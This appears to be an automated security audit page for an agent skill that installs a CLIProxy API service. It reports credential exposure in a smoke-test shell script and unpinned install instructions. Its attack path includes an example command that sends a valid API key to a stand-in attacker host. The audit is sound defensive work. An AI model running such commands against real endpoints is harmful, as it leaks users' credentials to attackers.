Back to skill

Security audit

CLIProxy FREE API

Security checks for vulnerabilities and agentic risk

Overview

This skill has a coherent deployment purpose, but its unpinned install guidance and API-key smoke test need careful review before use.

Install only if you are comfortable allowing the agent to install and run a persistent CLIProxy service and potentially configure reverse proxy or firewall access. Use a trusted, pinned CLIProxyAPI source, review commands before running them, keep the dashboard private unless explicitly needed, and do not pass long-lived API keys through the provided smoke-test script unless the endpoint is local or trusted HTTPS; rotate any key that may have been exposed.

Vulnerability Patterns
  • Insecure DependenciesIntroduces malicious components through unsafe dependency sources
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Findings (2)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/smoke-test.sh:4
Finding

API Key Exposure Through Command-Line Arguments and Unrestricted Endpoint Selection

Content
View full analysis

Vulnerability Details

File Location: scripts/smoke-test.sh, lines 4–21
Vulnerability Type: Sensitive credential exposure and insecure network transmission
Risk Level: High

bash
BASE_URL="${1:-}"
API_KEY="${2:-}"
MODEL="${3:-}"

if [[ -z "$BASE_URL" || -z "$API_KEY" || -z "$MODEL" ]]; then
  echo "usage: $0 <base-url> <api-key> <model>" >&2
  exit 1
fi

curl -sS "$BASE_URL/models" \
  -H "Authorization: Bearer $API_KEY" | sed -n '1,40p'

echo

echo '{"model":"'"$MODEL"'","messages":[{"role":"user","content":"ping"}]}' | \
curl -sS "$BASE_URL/chat/completions" \
  -H "Authorization: Bearer $API_KEY" \
  -H "Content-Type: application/json" \
  -d @- | sed -n '1,80p'

Technical Analysis

The smoke-test script accepts the API key as its second command-line argument. This can expose the credential through shell history, process inspection, audit telemetry, command logging, or automation logs. The expanded key is also passed to curl as part of its argument vector.

The caller completely controls BASE_URL, and the script does not require HTTPS or validate the destination before attaching the bearer token. A user can therefore accidentally send the key over plaintext HTTP or directly to an attacker-controlled server. Sending a bearer token to the intended CLIProxy endpoint is necessary for the smoke test, but passing it through process arguments and allowing arbitrary insecure destinations exceeds the minimum safe handling required.

Attack Path

  1. An attacker supplies or recommends an attacker-controlled URL, or a plaintext HTTP URL, as the smoke-test base URL.
  2. The victim runs the script with a valid CLIProxy API key: scripts/smoke-test.sh http://attacker.example valid-key model-name
  3. The script places the key in command-line arguments and sends it in the Authorization header to the supplied endpoint.
  4. The attacker records the bearer tok ...[truncated 760 chars]
Remediation
View remediation

Remediation Suggestions

  • Do not accept API keys as command-line arguments. Read the key from a protected environment variable, an access-restricted file, or hidden interactive input such as read -r -s.
  • Avoid exposing the expanded authorization header in the curl argument vector. Use a temporary curl configuration file with mode 0600, a protected file descriptor, or another secret-injection mechanism that does not expose the key in process arguments.
  • Require HTTPS for non-loopback destinations. Permit plaintext HTTP only for explicitly recognized local development endpoints such as 127.0.0.1, localhost, or a Unix socket.
  • Validate the URL scheme and destination before constructing an authenticated request.
  • Apply explicit curl protocol controls, such as --proto '=https', for remote endpoints.
  • Keep redirects disabled unless they are required. If redirects are later enabled, ensure authorization headers cannot be forwarded to a different origin and restrict redirected protocols to HTTPS.
  • Document immediate credential rotation when a key may have appeared in shell history, logs, telemetry, or an untrusted request.
  • Consider issuing a narrowly scoped test credential with limited lifetime and quota rather than using a long-lived administrative key.

T08 · Insecure Dependencies

Warning
Location
references/install.md:27
Finding

Unpinned Installation From Mutable Upstream Instructions

Content
View full analysis

Vulnerability Details

File Location: references/install.md, lines 27–32
Vulnerability Type: Unverified third-party source and supply-chain exposure
Risk Level: Medium

text
## Install procedure

1. Read the current upstream README before using version-specific commands.
2. Clone or fetch the project into a stable path.
3. Install dependencies using the upstream-supported method.
4. Start CLIProxyAPI in a reproducible way.
5. If possible, create a systemd unit so the service survives logout and reboot.

Technical Analysis

The installation workflow delegates executable installation decisions to a mutable upstream README and an unspecified project source. It does not identify a canonical repository, pin a reviewed release or commit, verify checksums or signatures, or require dependency-lock validation.

Consequently, the effective installation behavior can change after this Skill has been audited. A compromised repository, transferred project name, malicious README update, altered release artifact, or poisoned dependency could introduce arbitrary commands that an agent or user follows during installation.

Persistent systemd deployment is consistent with the declared goal of running CLIProxyAPI as a stable service and is not, by itself, malicious persistence. However, installing unverified upstream content as a persistent service increases the consequences of a supply-chain compromise.

Attack Path

  1. An attacker compromises, replaces, or impersonates the upstream repository, documentation, release artifact, or dependency source.
  2. The attacker modifies the current README or installation path to reference malicious commands, packages, or binaries.
  3. Following the Skill's instructions, an agent or user reads the mutable documentation, fetches the project, and executes the newly supplied installation procedure.
  4. The malicious component executes with the privileges of the installing account. ...[truncated 769 chars]
Remediation
View remediation

Remediation Suggestions

  • Identify the canonical CLIProxyAPI repository and official release source explicitly.
  • Pin installation to a reviewed release version, immutable commit hash, or verified container digest rather than the current default branch or mutable README.
  • Verify release signatures or published cryptographic checksums before executing downloaded artifacts.
  • Require inspection and confirmation of upstream commands before execution, particularly commands using sudo, package-manager hooks, remote shell pipelines, or service installation.
  • Use dependency lockfiles and integrity verification where supported.
  • Separate unprivileged download/build steps from the minimal privileged operations needed to install files or register a service.
  • Run the service under a dedicated non-root account with restrictive filesystem access, environment permissions, and systemd sandboxing.
  • Pin and review systemd unit contents rather than generating persistence directly from mutable upstream instructions.
  • Document an update process that repeats signature, checksum, dependency, and configuration review before moving to a newer version.
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
Findings (4)

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 86)May include surrounding context.

md
- If the user wants this published on ClawHub, keep the operational guidance concise in `SKILL.md` and move detail into references.

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
92% confidence
Finding

The skill instructs the agent to inspect the environment, install software, configure services, expose dashboards, and run smoke tests, which implies shell/tool use with system-modifying effects. Because the skill declares no explicit tool scope or allowed-tools restrictions, an agent may execute broad shell actions without policy guardrails, increasing the chance of unintended package installation, service exposure, firewall changes, or secret handling mistakes.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
90% confidence
Finding

The script sends the provided API key in Authorization headers to the supplied base URL, which is a network operation involving credentials. Aside from the usage line, there is no confirmation prompt, warning comment, or user-facing notice explaining that credentials will be sent to the specified endpoint.

Content

No source excerpt is available for this finding.

External Transmission

Medium
Category
Data Exfiltration
Confidence
70% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · scripts/smoke-test.sh (reported line 19)May include surrounding context.

sh
echo

echo '{"model":"'"$MODEL"'","messages":[{"role":"user","content":"ping"}]}' | \
curl -sS "$BASE_URL/chat/completions" \
  -H "Authorization: Bearer $API_KEY" \
  -H "Content-Type: application/json" \
  -d @- | sed -n '1,80p'